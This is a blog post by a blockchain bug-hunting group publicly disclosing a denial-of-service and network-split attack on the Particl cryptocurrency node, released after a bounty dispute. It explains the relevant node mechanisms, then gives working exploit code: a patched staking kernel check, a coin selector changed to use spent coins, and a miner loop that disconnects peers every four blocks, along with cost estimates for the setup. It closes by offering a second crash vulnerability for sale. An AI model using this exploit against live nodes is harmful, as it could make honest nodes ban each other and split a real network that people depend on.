Particl – Using Spent Kernel To Split the Network

By art_of_bug | art_of_bug | 29 Jun 2019


Welcome again. It took us a while to get back. The reasons are both simple and sad – communication with Altcoin vendors is very difficult and slow. Many Altcoins do not have any vulnerability policy in place. You have no idea who to contact and you have no idea if there is any bug bounty. As we are currently operating with over 20 publicly undisclosed (some of them we already disclosed to vendors) vulnerabilities in more than 7 crypto projects, it's a little bit annoying to see projects without proper security policies and bug bounties.

Speaking of which, Neblio have recently created their bug bounty program and we are still working with them on issues in their wallet. Their bug bounty program is not very good at the moment, but probably better than nothing and something to start with. At least the program is missing valuations of bugs on different severity levels, which is crucial for a good bug bounty program. So Neblio's bounty program is currently only good to know how to contact them.

Back to projects completely without bug bounty programs. One of such irresponsible projects is Particl. It took us unreasonable effort to contact them. Then it took us 3 hops to get to a responsible person, only to learn that they are not willing to talk to us unless we provide description of our findings upfront and for free. We tried to explain that serious projects implement and publish bug bounties and if a project does not have anything like that, there is nothing wrong with trying to ask about what the company is willing to offer. This attempt failed and they insisted on getting descriptions upfront without any commitments or discussion before they have it.

In good faith, we did what they asked for. We provided a description and they confirmed the vulnerability is real. The bug we disclosed was a denial of service attack with which an attacker could crash any public node in Particl network. Particl then rewarded us with $100 worth of PART. This is obviously a ridiculous amount, which is 25 to 50 times lower than what we get from serious projects for similar type of vulnerability report. Particl thus clearly expressed they do not appreciate independent research of the code base and that they do not value security of their network very much. We respect that and we will not privately disclose any vulnerabilities to them in the future unless they change their policies and/or implement a serious public bug bounty program.

Because we are no longer interested in working with such a company, we will slowly clear our buffer of vulnerabilities we discovered in Particl. Today we are disclosing an interesting denial of service method that exploits specific implementation in Particl's code. We hope you will enjoy it and if you're interested, we put another bug from our buffer for sale – see the end of the post.

Using Spent Kernel To Split the Network

Bug type: DoS, netsplit
Bug severity: 5/10

Scenario 1

Attacker cost: low

In this scenario the attacker attempts to disrupt the network. Disruption in this case means that honest nodes are going to ban and disconnect other honest nodes in the network. If the attacker is persistent enough, most of the network will issue ban to most of the public nodes, which will make the network completely dysfunctional. In order to recover, the node operators have to upgrade their nodes to a version in which the vulnerability is fixed.

Description

Fake Stake attack presented a method of denial of service through disk and memory exhaustion, in which the attacker sent a large amount of invalid blocks, which were valid enough to make it through initial validation procedures and be stored permanently. The attack is described as two separate vulnerabilities. The second one is using a technique called Stake amplification. In short, in this technique the attacker's goal is to ensure they can produce the invalid blocks in large amounts. In order to do that, the attacker needs to have seemingly valid coinstake transactions. In this attack, the staking power of the attacker is amplified by using already spent coins. These coins are prepared in the setup phase, in which the attacker repeatedly spends the coin to themselves in order to get a huge amount of spent coins. The sum of the values of all these coins is the amplified stake amount. Blocks created using these already spent coins are valid enough to make it through the initial validation of the block.

Our attack is inspired by this technique and targets some specific implementation in Particl. In order to describe the attack, we need to describe several mechanisms in Particl's code base. Let's start with compact blocks. There are two important things that need to be understood here.

First, compact blocks relay works in two modes – the high-bandwidth mode and the low-bandwidth mode. Each network node selects 3 of its peers to work in the high-bandwidth mode, the rest is put into the low-bandwidth mode. The selection of peers to work in the high-bandwidth mode is dynamic and is done in MaybeSetPeerAsAnnouncingHeaderAndIDs. Whenever a new block is received from a peer, the peer is set into the high-bandwidth mode (the node sends a sendcmpct message to the peer asking it to enable the high-bandwidth mode), and the oldest node that was set to the high-bandwidth mode is newly set to the low-bandwidth mode (the node sends a sendcmpct message to the peer asking it to enable the low-bandwidth mode). Also only one block on each given height is propagated in the high-bandwidth mode.

Second, in the high-bandwidth mode, the blocks are propagated early, before they are fully validated. When a seemingly valid block is received, it is sent to all the peers which asked the node for the high-bandwidth mode. However, because the block was not fully validated before it was propagated, if it is found to be invalid, the node who propagated it is not penalised.

The next mechanism is specific to Particl. Unlike other coins, in Particl the ban score is reduced over time. This is implemented inside of ThreadMessageHandler. We can see that every 60 seconds the ban score is reduced by one.

The final mechanism is also specific to Particl. It is its implementation of BLOCK_STAKE_KERNEL_SPENT flag. This flag is set in CheckProofOfStake in case the kernel coin is found to be spent. Kernel is the first input of the coinstake transaction that allows the node to create a new block. This flag is being checked just before the block is propagated through the high-bandwidth mode:

    if (state.nFlags & BLOCK_STAKE_KERNEL_SPENT && !(state.nFlags & BLOCK_FAILED_DUPLICATE_STAKE)) {
        if (state.nodeId > -1) {
            Misbehaving(state.nodeId, 20, "Spent kernel");
        }
    }

Here we can see that the node receives 20 points to its ban score if it propagated a block with already spent kernel input of the coinstake transaction.

Putting it all together. The attacker starts by buying arbitrary amount of coins from an exchange. Then the attacker performs the Stake amplification as per Fake Stake attack. This basically means it repeatedly spends the coin to its own wallet again and again. Importantly, we require the attacker to amplify its stake so that it can create a new block with one of its spent coins very often (less than 20 minutes is required, less than 5 minutes is optimal). This is necessary because of the mechanism that decreases the ban score every minute. However, this is not a problem and comes at very little cost to the attacker. When the setup is finished, the attacker can send its coins to the exchange and sell it back. This means that the cost for the attacker is only measured in the exchange fees, the transaction fees, and the difference between the buying and the selling price. The whole setup can reasonably be done in less than one day using 1000 PART investment (~3400 USD at the time of writing), which is to be returned the next day after the coins are sold again. If the attacker does not want to risk that much, it can buy just 10 PART, but it will need many more transactions in the setup phase to establish its amplified stake.

When the setup phase is finished, the attacker starts the attacking phase. The attacker simply connects to some public nodes as any normal node would do. Then it starts to produce invalid blocks using the spent coins. Importantly, after sending 4 blocks to its peers, it disconnects from them. This is because its peers will penalise the attacker by 20 points for each such block as we've seen above. So the attacker cannot send more than 4 blocks without being banned. The attacker is likely to connect to different nodes on the network, but even if it reconnects to the same nodes, its ban score will be forgotten. Because of how compact block relay works, it is pointless for the attacker to create and propagate multiple blocks on the same height, so the attacker avoids that by waiting for the next block to arrive from the network after they propagate each attacking block.

When the target node receives an attacking block, it penalises the peer that propagated it but it also sends it to its high-bandwidth mode peers. Those peers will do the same. As more and more blocks are created and propagated by the attacker, the nodes will ban and disconnect their peers who are sending the blocks with spent kernel coins to them. When such banning occurs, the network topology changes and different paths in the network will become used for the high-bandwidth mode. This will cause different set of nodes to be banned next. Also the disconnected nodes will try to find new peers in the network. This has the same effect again. As the attacker produces more and more blocks, eventually, the majority of the nodes will be unable to find peers to connect to because their blacklists would be filled with all of the nodes they are aware of and/or can reach.

Funnily, there is one additional bug in the implementation that slightly affects us here. In ProcessNewBlock, we see


        if (node_id > 0) {
            state.nodeId = node_id;
        }


The state.nodeId is used by Particl specific validation logic related to using spent kernel and also loose and duplicate headers protection. The bug here is that the node_id is 0 for the first peer the node connects to. And because value of zero is ignored by the above code, this very first peer is given a free pass for sending spent kernel blocks. However, in practice, nodes that are online for longer time rarely still have connection to the very first node. Therefore in practice this is not a problem for our attack.

 

Our implementation of the attack follows. Note that we confirmed that both versions – the master branch version and 0.18 branch version, which is the one that currently runs on Particl network – are vulnerable and we based our exploit code on the master branch. First, we make sure that we propagate the blocks to all our peers by commenting out the following code in NewPoWValidBlock:

        // if (state.fPreferHeaderAndIDs && (!fWitnessEnabled || state.fWantsCmpctWitness) &&
        //         !PeerHasHeader(&state, pindex) && PeerHasHeader(&state, pindex->pprev)

 

Next, we fix CheckKernel so that it matches the validation logic and allows spent coins to be used:

bool CheckKernel(const CBlockIndex *pindexPrev, unsigned int nBits, int64_t nTime, const COutPoint &prevout, int64_t *pBlockTime)
{
    uint256 hashProofOfStake, targetProofOfStake;

    CAmount amount;
    Coin coin;
    if (!pcoinsTip->GetCoin(prevout, coin)) {
        
        CTransactionRef txPrev;
        CBlock blockKernel; // block containing stake kernel, GetTransaction should only fill the header.
        if (!GetTransaction(prevout.hash, txPrev, Params().GetConsensus(), blockKernel) || prevout.n >= txPrev->vpout.size()) {
            return error("%s: prevout-not-in-chain", __func__);
        }

        const CTxOutBase *outPrev = txPrev->vpout[prevout.n].get();
        if (!outPrev->IsStandardOutput()) {
            return error("%s: invalid-prevout", __func__);
        }

        uint256 hashBlock = blockKernel.GetHash();
        BlockMap::iterator mi = mapBlockIndex.find(hashBlock);
        if (mi == mapBlockIndex.end() || !::ChainActive().Contains(mi->second)) {
            return error("%s: prevout-not-in-chain", __func__);
        }

        int nDepth;
        if (!CheckAge(pindexPrev, hashBlock, nDepth)) {
            return error("%s: Tried to stake at depth %d", __func__, nDepth);
        }

        amount = outPrev->GetValue();

        if (pBlockTime)
            *pBlockTime = blockKernel.nTime;
    } else {
        if (coin.nType != OUTPUT_STANDARD)
            return error("%s: prevout not standard output", __func__);
        if (coin.IsSpent())
            return error("%s: prevout is spent", __func__);

        CBlockIndex *pindex = ::ChainActive()[coin.nHeight];
        if (!pindex)
            return false;

        int nRequiredDepth = std::min((int)(Params().GetStakeMinConfirmations()-1), (int)(pindexPrev->nHeight / 2));
        int nDepth = pindexPrev->nHeight - coin.nHeight;

        if (nRequiredDepth > nDepth)
            return false;

        if (pBlockTime)
            *pBlockTime = pindex->GetBlockTime();

        amount = coin.out.nValue;
    }

    return CheckStakeKernelHash(pindexPrev, nBits, *pBlockTime,
        amount, prevout, nTime, hashProofOfStake, targetProofOfStake);
}


Next, we modify AvailableCoinsForStaking to select spent coins instead of unspent:

                COutPoint kernel(wtxid, i);
                if (!CheckStakeUnused(kernel)
                     || !IsSpent(*locked_chain, wtxid, i)
                     || IsLockedCoin(wtxid, i)) {
                    continue;
                }

and

                if (!IsSpent(*locked_chain, txid, r.n)
                    || IsLockedCoin(txid, r.n)) {
                    continue;
                }

 

Finally, we implement the counter in ThreadStakeMiner which disconnects the peers from the attacker after every four blocks and we also wait for the next block to be mined by the network after we propagate each block:

            int nBestHeightCopy = nBestHeight;
            if (pwallet->SignBlock(pblocktemplate.get(), nBestHeight + 1, nSearchTime)) {
                CBlock *pblock = &pblocktemplate->block;
                if (CheckStake(pblock)) {
                     nTimeLastStake = GetTime();

                    static int counter = 0;
                    counter++;

                    if (counter % 4 == 0) {
                        g_connman->ForEachNode([](CNode* pnode) {
                            g_connman->DisconnectNode(pnode->GetId());
                        });
                    }
                    
                    while (true) {                        
                        {
                            LOCK(cs_main);
                            if (nBestHeightCopy != ::ChainActive().Height()) {
                                break;
                            }
                        }

                        condWaitFor(nThreadID, 2000);
                    }

                    break;
                }
            } else ...

Second Vulnerability – Very Efficient DoS Attack

This vulnerability is available to everyone, we are accepting offers. If there are no takers, we will publish it in the future on our blog. Feel free to contact us on Reddit or BitcoinTalk. Note that this is not the vulnerability that has been disclosed to Particl.

Bug type: DoS
Bug severity: 5/10

Scenario 1

Attacker cost: negligible

In this scenario the attacker targets one or more specific nodes that the attacker wants to crash. The attacker needs a direct connection to the target node, so we expect the target node to be operating on publicly accessible network interface – i.e. public IP address and open firewall port. Eventually, the attacker is able to create connection to every public node in the network and crash all such nodes. The network will become dysfunctional. In order to recover, the node operators have to restart their nodes. We assume that this mostly needs to be done manually as we do not expect many node operators to implement watchdog services that would be able to recognize that the node is non-operational and restart their nodes automatically.

Scenario 2

Attacker cost: medium

In this scenario, the attacker buys nontrivial amount of coins and they also perform a sybil attack against the network – this means they will create a large number of fully operational public nodes. Then they will perform Scenario 1 attack against all other public nodes in order to crash them. This will cause that all the block propagation in the network will only have to go through the public nodes of the attacker. This allows the attacker to censor any transaction as well as censor any block, which further allows the attacker to create a longest chain with just fractional stake, compared to the original staking power of the network. With just fraction of the network staking power, the difficulty will go down very quickly because the blocks will not be produced within the expected timeframe. Eventually the difficulty will decrease enough for the attacker to produce a chain that looks healthy and it is fully controlled by the attacker. This allows the attacker to perform additional attacks such as double spending.

 

How do you rate this article?


0

0

art_of_bug
art_of_bug

We are research group with focus to expose bugs in design and implementation of blockchain projects. We only honour responsible disclosure with projects that honour responsible development.


art_of_bug
art_of_bug

We are research group with focus to expose bugs in design and implementation of blockchain projects. We only honour responsible disclosure with projects that honour responsible development.

Send a $0.01 microtip in crypto to the author, and earn yourself as you read!

20% to author / 80% to me.
We pay the tips from our rewards pool.